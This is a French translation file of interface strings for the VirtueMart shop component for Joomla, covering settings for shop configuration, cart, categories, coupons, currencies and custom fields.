COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_MSG="Message Hors Service" COM_VIRTUEMART_ADMIN_CFG_SHOP_OFFLINE_TIP="Si la case est cochée, la boutique affiche le message hors service." COM_VIRTUEMART_ADMIN_CFG_SHOP_SETTINGS="Configuration de la boutique" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION="Afficher le pied de page VirtueMart" COM_VIRTUEMART_ADMIN_CFG_SHOWVM_VERSION_EXPLAIN="Afficher une image de bas de page alimentée par VirtueMart." COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES="Affiche les catégories" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORIES_TIP="Si la case est cochée, la page d'accueil affiche les catégories" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY="Afficher les catégories enfants" COM_VIRTUEMART_ADMIN_CFG_SHOW_CATEGORY_EXPLAIN="Si elle est cochée, les catégories enfants seront affichées dans les vues Catégories et Produits." COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED="Afficher les produits en vedettes" COM_VIRTUEMART_ADMIN_CFG_SHOW_FEATURED_TIP="Si la case est cochée, la page d'accueil de la boutique affiche les produits en vedette" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST="Afficher les nouveautés" COM_VIRTUEMART_ADMIN_CFG_SHOW_LATEST_TIP="Si la case est cochée, la page d'accueil de la boutique affiche les derniers produits" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS="Affiche les fournisseurs" COM_VIRTUEMART_ADMIN_CFG_SHOW_MANUFACTURERS_EXPLAIN="Si l'option est activée, les fournisseurs sont affichés." COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS="Afficher les produits qui ne sont pas en stock" COM_VIRTUEMART_ADMIN_CFG_SHOW_OUT_OF_STOCK_PRODUCTS_EXPLAIN="Si coché, les produits qui ne sont pas actuellement en stock sont affichés. Sinon, ils ne sont pas affichés." COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES="Afficher les prix" COM_VIRTUEMART_ADMIN_CFG_SHOW_PRICES_EXPLAIN="Cocher pour afficher les prix. Si vous utilisez comme catalogue uniquement, vous pouvez ne pas afficher les prix." COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT="Afficher les produits récemment vus" COM_VIRTUEMART_ADMIN_CFG_SHOW_RECENT_TIP="Si la case est cochée, la page d'accueil de la boutique affiche les produits récemment vus" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC="Affiche la description de la boutique" COM_VIRTUEMART_ADMIN_CFG_SHOW_STORE_DESC_TIP="Si la case est cochée, la page d'accueil affiche la description de la boutique" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN="Afficher les meilleures ventes" COM_VIRTUEMART_ADMIN_CFG_SHOW_TOPTEN_TIP="Si la case est cochée, la page d'accueil de la boutique affiche les produits les plus vendus" COM_VIRTUEMART_ADMIN_CFG_SSL="Activer SSL pour les domaines sensibles (recommandé)" COM_VIRTUEMART_ADMIN_CFG_SSL_EXPLAIN="Cette option oblige à utiliser Joomla SSL pour les liens dans le panier et la zone utilisateur. Veillez à utiliser les bons réglages joomla pour le maintien de l'utilisateur, les commandes anonymes et le login" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES="Statut des commandes pour l'envoi des factures" COM_VIRTUEMART_ADMIN_CFG_STATUS_PDF_INVOICES_EXPLAIN="Statut des commandes pour l'envoi des factures. Peut être surchargée par une méthode de paiement" COM_VIRTUEMART_ADMIN_CFG_SYSTEMTAB="Système" COM_VIRTUEMART_ADMIN_CFG_SYSTEM_SETTINGS="Paramètres système" COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB="Templates" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT="Hauteur de la vignette" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_HEIGHT_TIP="Hauteur de la vignette créée." COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH="Largeur de la vignette" COM_VIRTUEMART_ADMIN_CFG_THUMBNAIL_WIDTH_TIP="Largeur de la vignette redimensionnée." COM_VIRTUEMART_ADMIN_CFG_TITLES="Titre de Civilité et Professionnel" COM_VIRTUEMART_ADMIN_CFG_TITLES_LBL="Titres utilisés" COM_VIRTUEMART_ADMIN_CFG_TOOLS_EXPLAIN="Activer l'outil de mise à jour de la base de données. Ce sont des outils fait pour les développeurs et qui peuvent détruire votre boutique complètement. Merci de l'utiliser avec prudence." COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS="Lignes pour les meilleures ventes" COM_VIRTUEMART_ADMIN_CFG_TOPTEN_PROD_ROWS_EXPL="Nombre de lignes pour les meilleures ventes" COM_VIRTUEMART_ADMIN_CFG_USER_REGISTRATION_SETTINGS="Inscription des utilisateurs" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE="Utiliser uniquement comme catalogue" COM_VIRTUEMART_ADMIN_CFG_USE_ONLY_AS_CATALOGUE_EXPLAIN="Cochez pour désactiver les fonctions de panier." COM_VIRTUEMART_ADMIN_ENCRYPTION_FUNCTION="Fonction de cryptage" COM_VIRTUEMART_ADMIN_ENCRYPTION_FUNCTION_TIP="Vous pouvez sélectionner la fonction de cryptage utilisée pour chiffrer les informations sensibles avant de les stocker dans la base de données. AES_ENCRYPT est recommandé, car il est très sûr. ENCODE ne fournit pas de véritable cryptage." COM_VIRTUEMART_ADMIN_ENCRYPTION_KEY="Clé de cryptage" COM_VIRTUEMART_ADMIN_ENCRYPTION_KEY_TIP="Utilisé pour stocker et récupérer les données sensibles en toute sécurité (comme le numéro de carte bancaire) cryptées dans la base de données." COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED="Seuls les utilisateurs enregistrés peuvent commander" COM_VIRTUEMART_ADMIN_ONCHECKOUT_ONLY_REGISTERED_TIP="Cette option permet aux utilisateurs enregistrés de passer une commande. " COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO="Afficher des informations sur 'Politique de retour' sur la page de confirmation de commande ?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_LEGALINFO_TIP="Dans la plupart des pays européens, les propriétaires de boutique sont tenus par la loi d'informer les clients sur les conditions de retour des produits et les conditions d'annulation de la commande." COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES="Montrer des images de produits" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_PRODUCTIMAGES_TIP="Afficher les miniatures de produits dans le panier (peut casser votre mise en page)" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER="Demande la création d'un compte lors de la commande ?" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_REGISTER_TIP="Si Oui est sélectionné, alors le client peut créer un compte lors du processus de commande," COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS="Texte à afficher avant la page de renseignement client" COM_VIRTUEMART_ADMIN_ONCHECKOUT_SHOW_STEPS_TIP="Texte à afficher avant la page de demande de renseignement client. Si aucun texte n'est renseigné, un texte par défaut sera affiché" COM_VIRTUEMART_ADMIN_PAYMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_PAYMENT_FORM="Informations Mode de paiement" COM_VIRTUEMART_ADMIN_SECURITY_SETTINGS="Paramètres de sécurité" COM_VIRTUEMART_ADMIN_SHIPMENT_CONFIGURATION="Configuration" COM_VIRTUEMART_ADMIN_SHIPMENT_FORM="Information sur le mode de livraison" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND="Afficher le lien 'Recommander à un ami' ?" COM_VIRTUEMART_ADMIN_SHOW_EMAILFRIEND_TIP="Lorsque cette option est activée, un petit lien est affiché qui permet au client d'envoyer un e-mail de recommandation pour un produit spécifique." COM_VIRTUEMART_ADMIN_SHOW_PRINTICON="Afficher le lien 'Imprimer' ?" COM_VIRTUEMART_ADMIN_SHOW_PRINTICON_TIP="Lorsque cette option est activée, un petit lien est affiché qui ouvre la page courante dans une nouvelle fenêtre pour l'impression." COM_VIRTUEMART_ADMIN_STORE_CREDITCARD_DATA="Enregistrer les informations de 'Carte de crédit' ?" COM_VIRTUEMART_ADMIN_UPDATES="Mises à jour" COM_VIRTUEMART_ADVANCED_SEARCH="Recherche avancée" COM_VIRTUEMART_AD_ACY="Pour une solution plus avancée pour l'envoi d'email, vous pouvez utiliser:
      %s" COM_VIRTUEMART_AES_ENCRYPT_STRONG_SECURITY="AES_ENCRYPT (haute sécurité)" COM_VIRTUEMART_AGREE_TO_TOS="Veuillez d'abord accepter nos Conditions Générales de Vente SVP." COM_VIRTUEMART_AJAX_CART_WAITING="Merci de patienter. Mise à jour du panier..." COM_VIRTUEMART_AJAX_PRODUCTS_LBL="%s produits" COM_VIRTUEMART_AJAX_PRODUCT_LBL="1 produit" COM_VIRTUEMART_ALL="Tous" COM_VIRTUEMART_APPLY="Appliquer" COM_VIRTUEMART_ASEND_MSG="Bonjour %s, un nouvel utilisateur s'est inscrit à %s. Cet e-mail contient les détails" COM_VIRTUEMART_ASKQU_CS_MAX="Votre message est trop long" COM_VIRTUEMART_ASKQU_CS_MIN="Nombre minimum de caractères pas atteint" COM_VIRTUEMART_ASKQU_INV_MAIL="L'email donnée est invalide" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH="Question longueur maximum" COM_VIRTUEMART_ASK_QUESTION_MAX_LENGTH_EXPLAIN="Taille maximum valide pour la saisie de 'poser une question'" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH="Question longueur minimum" COM_VIRTUEMART_ASK_QUESTION_MIN_LENGTH_EXPLAIN="Taille minimum valide pour la saisie de 'poser une question'" COM_VIRTUEMART_ASK_QUESTION_SHOW="Afficher le lien 'Poser une question'" COM_VIRTUEMART_ASK_QUESTION_SHOW_EXPLAIN="Activer ou désactiver le lien 'Poser une question sur ce produit'. Cette option permet au client de poser une question au vendeur sur un produit." COM_VIRTUEMART_ASSIGN_ZONE_PG_LBL="Assigner zones" COM_VIRTUEMART_ATTRIBUTES="Attributs" COM_VIRTUEMART_ATTRIBUTE_LIST_NAME="Nom de l'attribut" COM_VIRTUEMART_AVAILABILITY="Délai de livraison" COM_VIRTUEMART_AVAILABILITY_EXPLAIN="Message ou image affichée lorsque le produits en rupture de stock peuvent être commandés" COM_VIRTUEMART_AVAILABLE_IMAGES="Images disponibles pour" COM_VIRTUEMART_BACK="Retour" COM_VIRTUEMART_BACK_TO_DETAILS="Retour à la fiche produit" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL="Ordre de tri par défaut de la catégorie" COM_VIRTUEMART_BROWSE_CAT_ORDERBY_DEFAULT_FIELD_LBL_TIP="Défini par le champ pour lequel les produits sont classés par défaut sur les pages de navigation par catégorie" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL="Ordre par défaut de tri des produits" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_LBL_TIP="Défini par le champ pour lequel les produits sont classés par défaut sur les pages de navigation par catégorie" COM_VIRTUEMART_BROWSE_ORDERBY_DEFAULT_FIELD_TITLE="Paramètres de tri des produits" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL="Champs disponibles pour le tri" COM_VIRTUEMART_BROWSE_ORDERBY_FIELDS_LBL_TIP="Choisir les méthodes de tri de la page catégorie. Chacun d'eux définit une méthode de tri pour les produits. Si vous les désactivez tous, le formulaire de choix ne sera pas affiché." COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL="Champs de recherche disponible" COM_VIRTUEMART_BROWSE_SEARCH_FIELDS_LBL_TIP="Choisissez les champs de recherche pour la page de produits d'une catégorie. Chacun définit une méthode de recherche pour le produit parcourir la page. Si aucun champ n'est activé, le formulaire de recherche ne sera pas montré." COM_VIRTUEMART_BROWSE_VENDOR_LBL="De" COM_VIRTUEMART_BUTTON_LOGIN="Connexion" COM_VIRTUEMART_BUTTON_LOGOUT="Déconnexion" COM_VIRTUEMART_BUTTON_SEND_REG="Enregistrement" COM_VIRTUEMART_CALC="Taxes & Règles de Calcul" COM_VIRTUEMART_CALC_DETAILS="Détails Taxe & Règle de calcul" COM_VIRTUEMART_CALC_EPOINT_DATAX="Modificateur de prix après taxe par produit" COM_VIRTUEMART_CALC_EPOINT_DATAXBILL="Modificateur de prix après taxe par facture" COM_VIRTUEMART_CALC_EPOINT_DBTAX="Modificateur de prix avant taxe par produit" COM_VIRTUEMART_CALC_EPOINT_DBTAXBILL="Modificateur de prix avant taxe par facture" COM_VIRTUEMART_CALC_EPOINT_PMARGIN="Modificateur de prix pour Marge de Profit" COM_VIRTUEMART_CALC_EPOINT_TAX="Taxe par produit" COM_VIRTUEMART_CALC_EPOINT_TAXBILL="Taxe par facture" COM_VIRTUEMART_CALC_EPOINT_VATTAX="TVA par produit" COM_VIRTUEMART_CALC_KIND="Type de calcul" COM_VIRTUEMART_CALC_LOCATION="Pays" COM_VIRTUEMART_CALC_NAME="Nom de la règle de calcul" COM_VIRTUEMART_CALC_S="Taxes & Règles de Calcul" COM_VIRTUEMART_SHARED="Partage" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_OFF="Non visible par le client" COM_VIRTUEMART_CALC_SHOPPER_PUBLISH_TOGGLE_ON="Visible par le client" COM_VIRTUEMART_CALC_VALUE_MATHOP="Opération mathématique" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_OFF="Non visible par le vendeur" COM_VIRTUEMART_CALC_VENDOR_PUBLISH_TOGGLE_ON="Visible par le vendeur" COM_VIRTUEMART_CALC_VIS_SHOPPER="Visible par le client" COM_VIRTUEMART_CALC_VIS_VENDOR="Visible par le vendeur" COM_VIRTUEMART_CANCEL="Annuler" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_CATEGORY_GIVEN="Impossible de créer l'image pour la catégorie" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_MANUFACTURER_GIVEN="Impossible de créer l'image pour le fournisseur" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_PRODUCT_GIVEN="Impossible de créer l'image pour le produit" COM_VIRTUEMART_CANT_CREATE_IMAGE_NO_VENDOR_GIVEN="Impossible de créer l'image pour le vendeur" COM_VIRTUEMART_CART_DATA_NOT_VALID="Données dans le panier non valides" COM_VIRTUEMART_CART_MAIL_FOOTER="Merci pour votre achat chez " COM_VIRTUEMART_CART_MAIL_SHOPPER_SUMMARY="

      Commande confirmée

      Vous avez acheté et confirmé une commande dans la boutique %1$s.

      Vous pouvez consulter le statut de votre commande en vous rendant sur votre compte personnel

      " COM_VIRTUEMART_CART_MAIL_SHOPPER_YOUR_PASSWORD="Le mot de passe de votre commande" COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="Pas de paiement sélectionné" COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="Aucun moyen de livraison sélectionné" COM_VIRTUEMART_CART_PRICE="Prix" COM_VIRTUEMART_CART_PRICE_FREE="Gratuit" COM_VIRTUEMART_CART_TOTAL="Total" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Affiche le panier" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="Panier VirtueMart" COM_VIRTUEMART_CAST_VOTE="S'il vous plaît, votez" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Catégories de recherche connexes" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="Définir la catégorie parente" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="Liste des Catégories VirtueMart" COM_VIRTUEMART_CATEGORY="Catégorie de produit" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Description de la catégorie" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE="Sélectionner une catégorie" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_TITLE_DESC="Sélectionner une catégorie" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_LAYOUT="Mise en page de la catégorie" COM_VIRTUEMART_CATEGORY_FORM_BROWSE_PAGE="Page de navigation catégorie" COM_VIRTUEMART_CATEGORY_FORM_FLYPAGE="Mise en page des produits" COM_VIRTUEMART_CATEGORY_FORM_IMAGE_DELETE_LBL="Supprimer image" COM_VIRTUEMART_CATEGORY_FORM_INITIAL_DISPLAY_RECORDS="Formulaire catégories, vue initiale des enregistrements" COM_VIRTUEMART_CATEGORY_FORM_LBL="Information sur la catégorie" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_MAX="Limite max des listes des listes de catégories" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_START="Limite de début des listes des listes de catégories" COM_VIRTUEMART_CATEGORY_FORM_LIMIT_LIST_STEP="Saut des listes de catégories" COM_VIRTUEMART_CATEGORY_FORM_PARENT="Catégorie parente" COM_VIRTUEMART_CATEGORY_FORM_PRODUCTS_PER_ROW="Affiche x produits par ligne" COM_VIRTUEMART_CATEGORY_FORM_SHARED="Catégorie partagée ?" COM_VIRTUEMART_CATEGORY_FORM_TEMPLATE="Template Joomla! de catégorie" COM_VIRTUEMART_CATEGORY_FORM_TOP_LEVEL="Catégorie principale" COM_VIRTUEMART_CATEGORY_ID="Catégorie" COM_VIRTUEMART_CATEGORY_IMAGE="Image de la catégorie" COM_VIRTUEMART_CATEGORY_NAME="Nom de la catégorie" COM_VIRTUEMART_CATEGORY_ORDERING="Classement des catégories" COM_VIRTUEMART_CATEGORY_S="Catégories de produits" COM_VIRTUEMART_CATEGORY_SHARE="Partager la catégorie" COM_VIRTUEMART_CATEGORY_SHARED_SUCCESS="Catégorie partagée" COM_VIRTUEMART_CATEGORY_TEMPLATE_DEFAULT="Utiliser le template de boutique par défaut" COM_VIRTUEMART_CATEGORY_UNSHARE="Ne pas partager la catégorie" COM_VIRTUEMART_CATEGORY_UNSHARED_SUCCESS="Catégorie non partagée" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Affiche une seule catégorie VirtueMart" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Mise en page de catégorie" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE="Activer les plug-ins Joomla de contenus pour les descriptions ?" COM_VIRTUEMART_CFG_CONTENT_PLUGINS_ENABLE_TIP="Si activé, les descriptions de la catégorie et des produits sont analysées par les plug-ins Joomla de contenus publiés." COM_VIRTUEMART_CFG_CURRENCY_MODULE="Sélectionner un module convertisseur de devises" COM_VIRTUEMART_CFG_CURRENCY_MODULE_TIP="Permet de sélectionner un module convertisseur de devises. Ces modules recherchent les taux de change à partir d'un serveur et convertissent une devise en une autre." COM_VIRTUEMART_CFG_ENABLE_FEATURE="Activer cette fonctionnalité" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY="Envoyer un alerte de stock bas" COM_VIRTUEMART_CFG_LOWSTOCK_NOTIFY_TIP="Envoie une alerte lorsque le stock est bas faible si les produits en stock et réservé sont inférieurs à la valeur définie" COM_VIRTUEMART_CFG_POOS_ENABLE="Action quand un produit est en rupture de stock" COM_VIRTUEMART_CFG_POOS_ENABLE_EXPLAIN="Que faire lorsqu'un produit est en rupture de stock ?" COM_VIRTUEMART_CHANGE_TRANSACTION_KEY="Afficher / Modifier la clé de transaction" COM_VIRTUEMART_CHILD_GENERIC_VARIANT="Variante enfant générique" COM_VIRTUEMART_CLONE="Cloner" COM_VIRTUEMART_CLOSE="Fermer" COM_VIRTUEMART_CMN_NEW_ITEM_LAST="Les nouveaux éléments de menu sont placés par défaut en dernière position. Leur ordre peut être modifié après sauvegarde." COM_VIRTUEMART_CMN_OPTIONAL="Optionnel" COM_VIRTUEMART_COL_ROWS_ATTRIBUTES="Attributs colonnes, Lignes" COM_VIRTUEMART_COMMENT="Commentaire" COM_VIRTUEMART_COMMENT_MIN_MAX="Votre message doit avoir entre %s et %s caractères. " COM_VIRTUEMART_COMMUNITY_FORUM="Forum" COM_VIRTUEMART_CONFIG="Configuration" COM_VIRTUEMART_CONFIGURATION="Configuration" COM_VIRTUEMART_CONFIGURATION_CHANGE_FAILURE="Impossible d'écrire dans le fichier de configuration %s" COM_VIRTUEMART_CONFIGURATION_CHANGE_SUCCESS="La configuration a été mise à jour" COM_VIRTUEMART_CONFIGURATION_MOD="Configuration" COM_VIRTUEMART_CONFIG_SAVED="Configuration enregistrée" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="Aucune devise n'est définie dans la boutique! Aller à %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Le format de la devise n'est pas défini ! Aller à %s" COM_VIRTUEMART_CONTROL_PANEL="Panneau de contrôle" COM_VIRTUEMART_COOKIE_MISSING="Cookie manquant" COM_VIRTUEMART_COUNTRY="Pays" COM_VIRTUEMART_COUNTRY_2_CODE="Code Pays (2 lettres)" COM_VIRTUEMART_COUNTRY_3_CODE="Code Pays (3 lettres)" COM_VIRTUEMART_COUNTRY_DETAILS="Détails Pays" COM_VIRTUEMART_COUNTRY_NAME="Nom du Pays" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME="Nom de référence du pays" COM_VIRTUEMART_COUNTRY_REFERENCE_NAME_TIP="Le nom de référence du pays est utilisé lorsque aucune clé de language existe dans le fichier de langue pour ce pays. Sinon, la clé de la langue sera utilisée. Les clés de langues des pays sont dans le fichier 'com_virtuemart_countries.ini'. La clé doit avoir pour préfixe COM_VIRTUEMART_COUNTRY_ suivi du code 3 lettres du pays." COM_VIRTUEMART_COUNTRY_S="Pays" COM_VIRTUEMART_COUPON="Chèque Boutique" COM_VIRTUEMART_COUPONS_ENABLE="Activer l'utilisation des chèques boutique" COM_VIRTUEMART_COUPONS_ENABLE_EXPLAIN="Si vous activez l'utilisation des chèques boutique, vous autorisez vos clients à utiliser des codes 'Chèque Boutique' pour obtenir des remises sur leurs achats." COM_VIRTUEMART_COUPONS_EXPIRE="Durée de vie par défaut du chèque boutique" COM_VIRTUEMART_COUPONS_EXPIRE_EXPLAIN="Vous pouvez préciser une durée de vie par défaut pour les chèques boutique. Cette durée de vie peut être modifiée pour chaque chèque boutique." COM_VIRTUEMART_COUPON_CODE="Code chèque boutique" COM_VIRTUEMART_COUPON_DETAILS="Détails chèque boutique" COM_VIRTUEMART_COUPON_DISCOUNT="Remise chèque boutique" COM_VIRTUEMART_COUPON_EXPIRY="Date d'expiration" COM_VIRTUEMART_COUPON_EXPIRY_TIP="Date d'expiration du chèque boutique" COM_VIRTUEMART_COUPON_PERCENT="Pourcentage" COM_VIRTUEMART_COUPON_PERCENT_TOTAL="Pourcentage ou total" COM_VIRTUEMART_COUPON_PERCTOT_TOOLTIP="Pourcentage ou montant fixe" COM_VIRTUEMART_COUPON_S="Chèques boutique" COM_VIRTUEMART_COUPON_START="Date de début" COM_VIRTUEMART_COUPON_START_TIP="Date de début de validité du Chèque Boutique" COM_VIRTUEMART_COUPON_SUBMIT_BUTTON="Recalculer" COM_VIRTUEMART_COUPON_TIP="Code du Chèque Boutique que le client devra fournir" COM_VIRTUEMART_COUPON_TOTAL="Montant fixe" COM_VIRTUEMART_COUPON_TYPE="Type chèque boutique" COM_VIRTUEMART_COUPON_TYPE_GIFT="Chèque Boutique Cadeau" COM_VIRTUEMART_COUPON_TYPE_PERMANENT="Chèque Boutique Permanent" COM_VIRTUEMART_COUPON_TYPE_TIP="Un Chèque Boutique Cadeau est supprimé après qu'il ait été utilisé pour une commande. Un Chèque Boutique Permanent peut être utilisé aussi souvent que l'acheteur veut." COM_VIRTUEMART_COUPON_VALUE_NOT_NUMBER="La valeur du chèque boutique doit être un nombre." COM_VIRTUEMART_COUPON_VALUE_TIP="Valeur du Chèque Boutique" COM_VIRTUEMART_COUPON_VALUE_VALID_AT="Montant Minimum de la Commande" COM_VIRTUEMART_COUPON_VALUE_VALID_AT_NOT_NUMBER="Valeur invalide pour valeur de commande valide" COM_VIRTUEMART_CREATED_ON="Date de création du produit" COM_VIRTUEMART_CREATE_ACCOUNT="S'enregistrer" COM_VIRTUEMART_CURRENCY="Devise" COM_VIRTUEMART_CURRENCY_CODE_2="Code (2 lettres)" COM_VIRTUEMART_CURRENCY_CODE_3="Code (3 lettres)" COM_VIRTUEMART_CURRENCY_DECIMALS="Décimales" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL="Symbole décimal" COM_VIRTUEMART_CURRENCY_DECIMALSYMBOL_TIP="Caractère à utiliser pour le symbole décimal." COM_VIRTUEMART_CURRENCY_DECIMALS_TIP="Nombre de décimales à afficher. Effectue un arrondi si la valeur a un nombre différent de décimales" COM_VIRTUEMART_CURRENCY_DETAILS="Détails Devise" COM_VIRTUEMART_CURRENCY_DISPLAY="Style affichage devise" COM_VIRTUEMART_CURRENCY_DISPLAY_EXPL="Pour format positif ou négatif, utilisez
    • {sign} pour le signe algébrique,
    • {number} pour la valeur et
    • {symbol} pour la devise
    • pour les mots-clés réservés. Les balises HTML sont autorisées, sauf le caractère \|
      Par exemple
        '{sign}  {number}  {symbol} ' 
      affiche le prix + 42,23 €" COM_VIRTUEMART_CURRENCY_END_DATE="Date de fin" COM_VIRTUEMART_CURRENCY_ERR_CODE="Vous devez entrer un code pour la devise." COM_VIRTUEMART_CURRENCY_ERR_DELETE_SELECT="S'il vous plaît, sélectionnez une devise à supprimer." COM_VIRTUEMART_CURRENCY_EXCHANGE_RATE="Taux de change" COM_VIRTUEMART_CURRENCY_FOR_VENDORS="Cette fonctionnalité Devise est interdite pour les non-vendeurs" COM_VIRTUEMART_CURRENCY_NAME="Nom de la devise" COM_VIRTUEMART_CURRENCY_NEGATIVE_DISPLAY="Format négatif" COM_VIRTUEMART_CURRENCY_NUMERIC_CODE="Code numérique" COM_VIRTUEMART_CURRENCY_POSITIVE_DISPLAY="Format Positif" COM_VIRTUEMART_CURRENCY_S="Devises" COM_VIRTUEMART_CURRENCY_START_DATE="Date de début" COM_VIRTUEMART_CURRENCY_SYMBOL="Symbole monétaire" COM_VIRTUEMART_CURRENCY_THOUSANDS="Séparateur de milliers" COM_VIRTUEMART_CURRENTLY_NOT_AVAILABLE="Ce produit n'est pas disponible actuellement." COM_VIRTUEMART_CURRENT_TRANSACTION_KEY="Clé de transaction en cours" COM_VIRTUEMART_CUSTOM="Champ Personnalisés" COM_VIRTUEMART_CUSTOMER_RATING="Note moyenne des clients" COM_VIRTUEMART_CUSTOM_ACTIVATE_JAVASCRIPT="Certains plug-ins peuvent contenir du Javascript. Cliquez sur 'Appliquer' (Joomla! 1.5) ou 'Enregistrer' (Joomla! 1.7+) pour les afficher correctement" COM_VIRTUEMART_CUSTOM_ADMIN_ONLY="Administrateur seulement" COM_VIRTUEMART_CUSTOM_BOOL="Booléen" COM_VIRTUEMART_CUSTOM_CANNOT_PARENT="L'enregistrement Custom ne peut être son propre parent" COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT="Variante de panier utilisateur" COM_VIRTUEMART_CUSTOM_CART_VARIANT="Variante panier" COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY="Le(s) type(s) personnalisé(s) a(ont) été cloné(s) avec succès" COM_VIRTUEMART_CUSTOM_DEFAULT="Valeur par défaut" COM_VIRTUEMART_CUSTOM_EDITOR="Editeur" COM_VIRTUEMART_CUSTOM_EXTENSION="Plug-in" COM_VIRTUEMART_CUSTOM_FIELD_DESCRIPTION="Description" COM_VIRTUEMART_CUSTOM_FIELD_PRICE="Prix: " COM_VIRTUEMART_CUSTOM_FIELD_TYPE="Type de champ personnalisé" COM_VIRTUEMART_CUSTOM_ID="Id custom" COM_VIRTUEMART_CUSTOM_IMAGE="Image" COM_VIRTUEMART_CUSTOM_INT="Entier" COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE="Attribut panier" COM_VIRTUEMART_CUSTOM_IS_HIDDEN="Caché" COM_VIRTUEMART_CUSTOM_IS_LIST="Liste?" COM_VIRTUEMART_CUSTOM_LAYOUT_POS="Position template" COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY="Impossible de cloner le(s) type(s) personnalisé(s)" COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT="Pas de produit enfant" COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION="-" COM_VIRTUEMART_CUSTOM_NO_TYPES="Aucun champ utilisateur. S'il vous plaît utilisez la liste de sélection pour ajouter quelques nouveaux champs" COM_VIRTUEMART_CUSTOM_PAGE_TITLE="Titre de la page" COM_VIRTUEMART_CUSTOM_PARENT="Parent" COM_VIRTUEMART_CUSTOM_PO="Parent triable" COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD="Produit enfant" COM_VIRTUEMART_CUSTOM_SAVE_FROM_CHILD="Surcharge des valeurs du parent" COM_VIRTUEMART_CUSTOM_STRING="Chaîne" COM_VIRTUEMART_CUSTOM_TEXTAREA="Textarea" COM_VIRTUEMART_CUSTOM_TIP="Astuce" COM_VIRTUEMART_CUSTOM_TITLE="Titre" COM_VIRTUEMART_CUSTOM_WP="Afficher le parent comme option" COM_VIRTUEMART_DATE="Date" COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_LC_J16="%A, %d %B %Y" COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="d/m/y" COM_VIRTUEMART_DAY="Jour" COM_VIRTUEMART_DEFAULT="Défaut" COM_VIRTUEMART_DEFAULT_TOP_LEVEL="Défaut- Niveau haut" COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY="Devise par défaut du vendeur" COM_VIRTUEMART_DELETE="Effacer" 